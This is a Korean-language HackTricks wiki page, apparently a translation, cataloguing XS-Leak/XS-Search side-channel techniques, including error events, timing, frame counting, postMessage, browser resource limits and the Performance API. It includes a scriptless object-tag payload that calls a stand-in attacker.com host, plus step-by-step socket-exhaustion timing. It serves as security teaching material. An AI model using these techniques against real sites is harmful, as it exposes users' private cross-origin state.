hacktricks/pentesting-web/xs-search.md

# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요** <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>

HackTricks를 지원하는 다른 방법:

* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 PR을 제출하여 **해킹 트릭을 공유**하세요.

</details>

## 기본 정보

XS-Search는 **사이드 채널 취약점을 활용**하여 **교차 출처 정보를 추출**하는 방법입니다.

이 공격에 관여하는 주요 구성 요소는 다음과 같습니다:

* **취약한 웹**: 정보를 추출하려는 대상 웹사이트.
* **공격자의 웹**: 피해자가 방문하는 악의적인 웹사이트로, 악용을 호스팅하는 공격자가 생성한 웹사이트.
* **포함 방법**: 취약한 웹을 공격자의 웹에 통합하는 데 사용되는 기술 (예: window.open, iframe, fetch, href가 있는 HTML 태그 등).
* **누출 기술**: 포함 방법을 통해 수집된 정보를 기반으로 취약한 웹의 상태 차이를 식별하는 데 사용되는 기술.
* **상태**: 공격자가 구별하려는 취약한 웹의 두 가지 잠재적인 상태.
* **감지 가능한 차이점**: 공격자가 취약한 웹의 상태를 추론하는 데 의존하는 관찰 가능한 변화.

### 감지 가능한 차이점

취약한 웹의 상태를 구별하기 위해 여러 측면을 분석할 수 있습니다:

* **상태 코드**: 교차 출처에서 **다양한 HTTP 응답 상태 코드**를 구별하여 서버 오류, 클라이언트 오류 또는 인증 오류를 확인합니다.
* **API 사용**: 페이지 간 **Web API 사용**을 식별하여 교차 출처 페이지가 특정 JavaScript Web API를 사용하는지 확인합니다.
* **리디렉션**: HTTP 리디렉트뿐만 아니라 JavaScript 또는 HTML에 의해 트리거된 다른 페이지로의 이동을 감지합니다.
* **페이지 콘텐츠**: HTTP 응답 본문이나 페이지 하위 리소스의 변화를 관찰합니다. 예를 들어, **임베드된 프레임 수**나 이미지 크기의 차이점을 확인합니다.
* **HTTP 헤더**: 특정 HTTP 응답 헤더의 존재 또는 값에 주목합니다. X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy와 같은 헤더를 포함합니다.
* **타이밍**: 두 상태 간의 일관된 시간 차이를 인지합니다.

### 포함 방법

* **HTML 요소**: HTML은 스타일시트, 이미지 또는 스크립트와 같은 **교차 출처 리소스 포함**을 위한 다양한 요소를 제공하여 브라우저가 비-HTML 리소스를 요청하도록 합니다. 이를 위한 잠재적인 HTML 요소 컬렉션은 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)에서 찾을 수 있습니다.
* **프레임**: **iframe**, **object**, **embed**와 같은 요소는 HTML 리소스를 공격자의 페이지에 직접 포함할 수 있습니다. 페이지가 **프레임 보호를 제공하지 않는 경우**, JavaScript는 contentWindow 속성을 통해 프레임된 리소스의 window 객체에 액세스할 수 있습니다.
* **팝업**: **`window.open`** 메서드는 새 탭이나 창에서 리소스를 열어 JavaScript가 SOP를 따르는 방법과 속성과 상호 작용할 수 있도록 합니다. 싱글 사인온에서 자주 사용되는 팝업은 대상 리소스의 프레임 및 쿠키 제한을 우회합니다. 그러나 현대 브라우저는 팝업 생성을 특정 사용자 조치로 제한합니다.
* **JavaScript 요청**: JavaScript는 **XMLHttpRequests** 또는 **Fetch API**를 사용하여 대상 리소스에 직접 요청할 수 있습니다. 이러한 방법은 HTTP 리디렉트를 따를지 여부와 같은 요청에 대한 정밀한 제어를 제공합니다.

### 누출 기술

* **이벤트 핸들러**: XS-Leaks의 고전적인 누출 기술로, **onload** 및 **onerror**와 같은 이벤트 핸들러가 리소스 로드 성공 또는 실패에 대한 통찰을 제공합니다.
* **오류 메시지**: JavaScript 예외 또는 특수 오류 페이지는 오류 메시지 자체에서 누출 정보를 제공하거나 오류 메시지의 존재와 부재를 구별하여 누출 정보를 제공할 수 있습니다.
* **전역 제한**: 브라우저의 물리적 제한, 예를 들어 메모리 용량 또는 다른 강제 브라우저 제한,는 한계에 도달했을 때 신호를 보내어 누출 기술로 작용할 수 있습니다.
* **전역 상태**: 브라우저의 **전역 상태**와의 감지 가능한 상호 작용을 악용할 수 있습니다. 예를 들어, 브라우저의 히스토리에 있는 **항목 수**는 교차 출처 페이지에 대한 단서를 제공할 수 있습니다.
* **성능 API**: 이 API는 현재 페이지의 **성능 세부 정보**를 제공하며 문서 및 로드된 리소스에 대한 네트워크 타이밍을 포함하여 요청된 리소스에 대한 추론을 가능하게 합니다.
* **읽기 가능한 속성**: 일부 HTML 속성은 **교차 출처에서 읽을 수 있으며** 누출 기술로 사용될 수 있습니다. 예를 들어, `window.frame.length` 속성은 JavaScript가 교차 출처 웹페이지에 포함된 프레임 수를 계산할 수 있게 합니다.

## XSinator 도구 및 논문

XSinator는 **논문에서 설명된 여러 알려진 XS-Leaks에 대해 브라우저를 확인하는 자동 도구**입니다: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

[**https://xsinator.com/**](https://xsinator.com/)에서 **도구에 액세스**할 수 있습니다.

{% hint style="warning" %}
**제외된 XS-Leaks**: 다른 XSinator 누출과 간섭할 수 있기 때문에 **서비스 워커에 의존하는 XS-Leaks를 제외**해야 했습니다. 또한, **특정 웹 응용 프로그램의 구성 오류 및 버그에 의존하는 XS-Leaks를 제외**하기로 선택했습니다. 예를 들어, Cross-Origin Resource Sharing (CORS) 구성 오류, postMessage 누출 또는 Cross-Site Scripting. 또한, 시간 기반 XS-Leaks를 제외했는데, 이는 종종 느리고 소음이 많으며 정확하지 않기 때문입니다.
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **타이밍 기반 기법**

다음 기법 중 일부는 타이밍을 사용하여 웹 페이지의 가능한 상태의 차이를 감지하는 과정의 일부로 사용됩니다. 웹 브라우저에서 시간을 측정하는 다양한 방법이 있습니다.

**시계**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API를 사용하면 개발자가 고해상도 타이밍 측정을 얻을 수 있습니다.\
공격자가 암시적 시계를 만들기 위해 남용할 수 있는 상당수의 API가 있습니다: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS 애니메이션 등이 있습니다.\
자세한 정보: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## 이벤트 핸들러 기법

### Onload/Onerror

* **포함 방법**: 프레임, HTML 요소
* **감지 가능한 차이**: 상태 코드
* **추가 정보**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **요약**: 리소스를 로드하려고 할 때 onerror/onload 이벤트가 성공적으로/실패로 트리거되면 상태 코드를 파악할 수 있습니다.
* **코드 예시**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

코드 예시는 **JS에서 스크립트 객체를 로드하려고 시도**하지만 **객체, 스타일시트, 이미지, 오디오**와 같은 다른 태그도 사용할 수 있습니다. 또한 **태그를 직접 삽입**하고 태그 내부에 `onload` 및 `onerror` 이벤트를 선언하는 것도 가능합니다 (JS에서 삽입하는 대신).

이 공격의 스크립트 없는 버전도 있습니다:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
이 경우에는 `example.com/404`을 찾을 수 없을 때 `attacker.com/?error`가 로드됩니다.

### Onload Timing

* **포함 방법**: HTML 요소
* **감지 가능한 차이점**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **요약:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**를 사용하여 요청을 수행하는 데 걸리는 시간을 측정할 수 있습니다. 그러나 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)와 같은 다른 시계도 사용할 수 있습니다. 이 API는 50ms 이상 실행되는 작업을 식별할 수 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 다른 예시:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

이 기술은 이전 것과 비슷하지만 **공격자**는 **긍정적 또는 부정적인** 답변일 때 **일정한 시간**이 소요되도록 **강제**하고 그 시간을 측정합니다.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **포함 방법**: 프레임
* **감지 가능한 차이점**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **요약:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)를 사용하여 요청을 수행하는 데 걸리는 시간을 측정할 수 있습니다. 다른 시계도 사용할 수 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

자원을 가져오는 데 걸리는 시간은 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) 및 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) 이벤트를 활용하여 측정할 수 있습니다. **`beforeunload`** 이벤트는 브라우저가 새 페이지로 이동하기 직전에 발생하며, **`unload`** 이벤트는 실제로 탐색이 진행될 때 발생합니다. 이 두 이벤트 간의 시간 차이를 계산하여 **브라우저가 자원을 가져오는 데 소요한 시간**을 결정할 수 있습니다.

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **포함 방법**: 프레임
* **감지 가능한 차이점**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **요약:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API를 사용하여 요청을 수행하는 데 걸리는 시간을 측정할 수 있습니다. 다른 시계도 사용할 수 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)이 없는 경우, 페이지 및 하위 자원이 네트워크를 통해 로드되는 데 필요한 시간을 공격자가 측정할 수 있다는 것이 관찰되었습니다. 이 측정은 일반적으로 iframe의 `onload` 핸들러가 자원 로딩 및 JavaScript 실행이 완료된 후에만 트리거되기 때문에 가능합니다. 스크립트 실행에 의해 도입된 가변성을 우회하기 위해 공격자는 `<iframe>` 내에서 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 속성을 사용할 수 있습니다. 이 속성의 포함은 JavaScript 실행을 포함한 여러 기능을 제한하며, 이로 인해 네트워크 성능에 주로 영향을 받는 측정이 용이해집니다.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + 오류 + onload

* **포함 방법**: 프레임
* **감지 가능한 차이**: 페이지 콘텐츠
* **자세한 정보**:
* **요약**: 올바른 콘텐츠에 액세스할 때 페이지에 오류를 발생시키고, 어떤 콘텐츠에 액세스할 때는 올바르게 로드되도록 만들면 시간을 측정하지 않고 모든 정보를 추출하는 루프를 만들 수 있습니다.
* **코드 예시**:

예를 들어, **Iframe**에 **비밀 콘텐츠가 있는 페이지**를 **삽입**할 수 있다고 가정해보겠습니다.

피해자가 "_**flag**_"를 포함하는 파일을 검색하도록 **Iframe**을 사용할 수 있습니다(예: CSRF를 이용). Iframe 내에서 _**onload 이벤트**_가 **적어도 한 번은 항상 실행**될 것을 알고 있습니다. 그럼, **URL**의 **해시** 부분만 **변경**하여 **iframe**의 **URL**을 변경할 수 있습니다.

예를 들어:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

첫 번째 URL이 **성공적으로 로드**된 경우, **URL의 해시** 부분을 **변경**해도 **onload** 이벤트가 다시 **트리거되지 않습니다**. 그러나 **페이지가 로드될 때 오류**가 발생한 경우, **onload** 이벤트가 다시 **트리거**됩니다.

그럼, **올바르게** 로드된 페이지와 액세스할 때 **오류**가 있는 페이지를 **구별**할 수 있습니다.

### Javascript 실행

* **포함 방법**: 프레임
* **감지 가능한 차이**: 페이지 콘텐츠
* **자세한 정보**:
* **요약**: **페이지**가 **민감한** 콘텐츠를 **반환**하거나 사용자가 **제어**할 수 있는 **콘텐츠**를 반환하는 경우, 사용자는 **부정적인 경우에 유효한 JS 코드를 설정**하고 각 시도를 **`<script>`** 태그 내에서 **로드**할 수 있으므로 **부정적인** 경우에 공격자 **코드가 실행**되고 **긍정적인** 경우에는 **아무것도** 실행되지 않습니다.
* **코드 예시**:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **포함 방법**: HTML 요소
* **감지 가능한 차이**: 상태 코드 및 헤더
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **요약**: **Cross-Origin Read Blocking (CORB)**는 **Spectre**와 같은 공격으로부터 보호하기 위해 웹 페이지에서 특정 민감한 교차 출처 리소스를 로드하는 것을 방지하는 보안 조치입니다. 그러나 공격자는 이 보호적인 동작을 악용할 수 있습니다. **CORB**에 따른 응답이 _**CORB로 보호된**_ `Content-Type`와 `nosniff`를 포함하고 `2xx` 상태 코드를 반환하면, **CORB**는 응답의 본문과 헤더를 제거합니다. 이를 관찰하는 공격자는 **상태 코드**(성공 또는 오류를 나타냄)와 **`Content-Type`**(**CORB**로 보호되는지 여부를 나타냄)의 조합을 추론하여 잠재적인 정보 누출을 유도할 수 있습니다.
* **코드 예시**:

공격에 대한 자세한 정보는 링크를 확인하십시오.

### onblur

* **포함 방법**: 프레임
* **감지 가능한 차이**: 페이지 콘텐츠
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **요약**: id 또는 name 속성에서 민감한 데이터 누출.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

**Iframe** 내에서 **페이지**를 로드하고 **`#id_value`**를 사용하여 **Iframe의 요소에 초점을 맞출** 수 있습니다. 그런 다음 **`onblur`** 신호가 트리거되면 ID 요소가 존재합니다.\
**`portal`** 태그를 사용하여 동일한 공격을 수행할 수 있습니다.

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: API 사용
* **자세한 정보**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **요약**: postMessage에서 민감한 정보 수집 또는 postMessage의 존재를 오라클로 사용하여 페이지에서 사용자의 상태를 알 수 있습니다.
* **코드 예시**: `모든 postMessage를 수신 대기하는 코드.`

응용 프로그램은 종종 서로 다른 출처 간에 통신하기 위해 [`postMessage` 브로드캐스트](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)를 사용합니다. 그러나 `targetOrigin` 매개변수가 올바르게 지정되지 않으면 이 방법은 **민감한 정보를 노출**할 수 있습니다. 또한 메시지를 수신하는 행위 자체가 **오라클** 역할을 할 수 있습니다. 예를 들어, 특정 메시지는 로그인한 사용자에게만 전송될 수 있습니다. 따라서 이러한 메시지의 존재 또는 부재로 사용자의 상태나 신원에 대한 정보를 공개할 수 있습니다.

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**할 수 있습니다.\
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## 글로벌 제한 기술

### WebSocket API

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: API 사용
* **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **요약**: WebSocket 연결 제한을 고갈시키면 교차 출처 페이지의 WebSocket 연결 수가 누출됩니다.
* **코드 예시**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

대상 페이지가 **WebSocket 연결을 사용하는지, 그 수가 얼마나 되는지** 식별할 수 있습니다. 이를 통해 공격자는 응용 프로그램 상태를 감지하고 WebSocket 연결 수와 관련된 정보를 누출할 수 있습니다.

한 **출처**가 **WebSocket 연결 개체의 최대 양**을 사용하면, 연결 상태에 관계없이 **새 개체를 생성하면 JavaScript 예외가 발생**합니다. 이 공격을 실행하려면, 공격자 웹사이트는 대상 웹사이트를 팝업이나 iframe에서 열고, 대상 웹이 로드된 후 가능한 최대 수의 WebSocket 연결을 생성하려고 시도합니다. **발생한 예외의 수**가 대상 웹사이트 창에서 사용된 **WebSocket 연결 수**입니다.
### 결제 API

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: API 사용
* **추가 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **요약**: 한 번에 하나의 결제 요청만 활성화될 수 있기 때문에 결제 요청을 감지합니다.
* **코드 예시**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

이 XS-Leak을 통해 공격자는 **교차 출처 페이지가 결제 요청을 시작할 때 감지**할 수 있습니다.

**한 번에 하나의 결제 요청만 활성화**될 수 있기 때문에, 대상 웹사이트가 결제 요청 API를 사용하는 경우, 이 API를 사용하려는 추가 시도는 실패하고 **JavaScript 예외를 발생**시킵니다. 공격자는 이를 악용하여 **주기적으로 결제 API UI를 표시하려고 시도**할 수 있습니다. 한 번의 시도가 예외를 발생시키면, 대상 웹사이트가 현재 이를 사용 중임을 나타냅니다. 공격자는 UI 생성 후 즉시 UI를 닫음으로써 이러한 주기적인 시도를 숨길 수 있습니다.

### 이벤트 루프 타이밍 <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **포함 방법**:
* **감지 가능한 차이**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **추가 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **요약**: 단일 스레드 JS 이벤트 루프를 남용하여 웹의 실행 시간을 측정합니다.
* **코드 예시**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScript는 [단일 스레드 이벤트 루프](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 동시성 모델에서 작동하므로 **한 번에 하나의 작업만 실행**할 수 있습니다. 이 특성을 악용하여 **다른 출처의 코드가 실행되는 데 걸리는 시간을 측정**할 수 있습니다. 공격자는 고정된 속성을 가진 이벤트를 계속해서 디스패치함으로써 자신의 코드의 실행 시간을 이벤트 루프에서 측정할 수 있습니다. 이러한 이벤트는 이벤트 풀이 비어 있을 때 처리됩니다. 다른 출처도 동일한 풀로 이벤트를 디스패치하는 경우, **공격자는 자신의 작업 실행에 대한 지연을 관찰함으로써 외부 이벤트의 실행 시간을 추론**할 수 있습니다. 이벤트 루프를 지연시키는 방법을 통해 다른 출처의 코드 실행 시간을 모니터링하는 것은 민감한 정보를 노출할 수 있습니다.

{% hint style="warning" %}
실행 시간 측정에서는 **네트워크 요소를 제거**하여 **더 정확한 측정**을 얻을 수 있습니다. 예를 들어 페이지를로드하기 전에 페이지에서 사용하는 리소스를로드함으로써 가능합니다.
{% endhint %}

### 바쁜 이벤트 루프 <a href="#busy-event-loop" id="busy-event-loop"></a>

* **포함 방법**:
* **감지 가능한 차이**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **추가 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **요약**: 웹 작업의 실행 시간을 측정하는 한 가지 방법은 의도적으로 스레드의 이벤트 루프를 차단한 다음 **이벤트 루프가 다시 사용 가능해지는 데 걸리는 시간을 측정**하는 것입니다. 이벤트 루프에 차단 작업(긴 계산 또는 동기식 API 호출과 같은)을 삽입하고, 이후 코드가 실행을 시작하는 데 걸리는 시간을 모니터링함으로써, 차단 기간 동안 이벤트 루프에서 실행되는 작업의 기간을 추론할 수 있습니다. 이 기술은 JavaScript의 이벤트 루프의 단일 스레드 특성을 활용하며, 작업이 순차적으로 실행되는 곳에서 다른 작업의 성능 또는 동작에 대한 통찰력을 제공할 수 있습니다.
* **코드 예시**:

이벤트 루프를 잠그는 것에 의한 실행 시간 측정 기술의 중요한 장점 중 하나는 **사이트 격리**를 우회할 수 있는 잠재력입니다. **사이트 격리**는 악의적인 사이트가 다른 사이트의 민감한 데이터에 직접 액세스하는 것을 방지하기 위해 서로 다른 웹사이트를 별도의 프로세스로 분리하는 보안 기능입니다. 그러나 공격자는 공유 이벤트 루프를 통해 다른 출처의 실행 시간에 영향을 미치는 것을 관찰함으로써, **사이트 격리**가 설정한 보호 장벽을 회피할 수 있습니다. 이 방법은 다른 출처의 데이터에 직접 액세스하는 것이 아니라, 다른 출처의 활동이 공유 이벤트 루프에 미치는 영향을 관찰함으로써 작동합니다.

{% hint style="warning" %}
실행 시간 측정에서는 **네트워크 요소를 제거**하여 **더 정확한 측정**을 얻을 수 있습니다. 예를 들어 페이지를로드하기 전에 페이지에서 사용하는 리소스를로드함으로써 가능합니다.
{% endhint %}

### 연결 풀

* **포함 방법**: JavaScript 요청
* **감지 가능한 차이**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **추가 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **요약**: 공격자는 모든 소켓을 잠그고 1개만 남겨두어 대상 웹을로드하고 동시에 다른 페이지를로드하면, 마지막 페이지가로드를 시작하는 데 걸리는 시간이 대상 페이지가로드하는 데 걸린 시간입니다.
* **코드 예시**:

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

브라우저는 서버 통신을 위해 소켓을 활용하지만, 운영 체제 및 하드웨어의 제한된 자원으로 인해 **브라우저는 동시 소켓 수에 제한을 가해야 합니다**. 공격자는 다음 단계를 통해 이 제한을 악용할 수 있습니다:

1. 브라우저의 소켓 제한을 확인합니다. 예를 들어, 256개의 전역 소켓.
2. 여러 호스트로 255개의 요청을 시작하여 연결을 완료하지 않고 연결을 유지하도록 설계하여 255개의 소켓을 오랜 기간 동안 점유합니다.
3. 256번째 소켓을 사용하여 대상 페이지에 요청을 보냅니다.
4. 다른 호스트에 257번째 요청을 시도합니다. 모든 소켓이 사용 중인 상태이므로(2단계와 3단계에 따라), 이 요청은 소켓이 사용 가능해질 때까지 대기됩니다. 이 요청이 진행되기까지의 지연은 256번째 소켓과 관련된 네트워크 활동에 대한 시간 정보를 제공합니다. 이 추론은 2단계에서 255개의 소켓이 여전히 사용 중이므로 새로 사용 가능한 소켓은 3단계에서 해제된 소켓이어야 한다는 것을 의미합니다. 256번째 소켓이 사용 가능해지는 데 걸리는 시간은 따라서 대상 페이지로의 요청 완료에 필요한 시간과 직접적으로 연결됩니다.

추가 정보: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
## 성능 API 기법

[`성능 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)는 웹 애플리케이션의 성능 지표에 대한 통찰을 제공하며, [`리소스 타이밍 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)에 의해 더욱 풍부해집니다. 리소스 타이밍 API는 네트워크 요청 시간과 같은 자세한 네트워크 요청 시간을 모니터링할 수 있게 합니다. 특히, 서버가 응답에 `Timing-Allow-Origin: *` 헤더를 포함하는 경우, 전송 크기 및 도메인 조회 시간과 같은 추가 데이터를 사용할 수 있습니다.

이러한 다양한 데이터는 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 또는 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)와 같은 메서드를 통해 검색할 수 있어 성능 관련 정보의 포괄적인 보기를 제공합니다. 또한 API는 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)에서 얻은 타임스탬프 간의 차이를 계산하여 실행 시간을 측정하는 것을 용이하게 합니다. 그러나 Chrome과 같은 브라우저에서는 `performance.now()`의 정밀도가 밀리초로 제한될 수 있으므로 타이밍 측정의 세분성에 영향을 줄 수 있음을 유의해야 합니다.

타이밍 측정 이외에도 성능 API는 보안 관련 통찰력을 활용할 수 있습니다. 예를 들어 Chrome의 `performance` 객체에 페이지가 포함되어 있는지 여부는 `X-Frame-Options`의 적용을 나타낼 수 있습니다. 구체적으로, 페이지가 `X-Frame-Options`로 인해 프레임에서 렌더링이 차단된 경우, 해당 페이지는 `performance` 객체에 기록되지 않아 페이지의 프레임 정책에 대한 미묘한 단서를 제공합니다.

### 에러 누출

* **포함 방법**: 프레임, HTML 요소
* **감지 가능한 차이점**: 상태 코드
* **추가 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약:** 오류가 발생하는 요청은 리소스 타이밍 항목을 생성하지 않습니다.
* **코드 예시**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

**에러가 발생하는 요청은 성능 항목을 생성하지 않기 때문에** **HTTP 응답 상태 코드 간의 차이를 구별**할 수 있습니다.

### 스타일 다시로드 오류

* **포함 방법**: HTML 요소
* **감지 가능한 차이점**: 상태 코드
* **추가 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **요약:** 브라우저 버그로 인해 오류가 발생하는 요청이 두 번 로드됩니다.
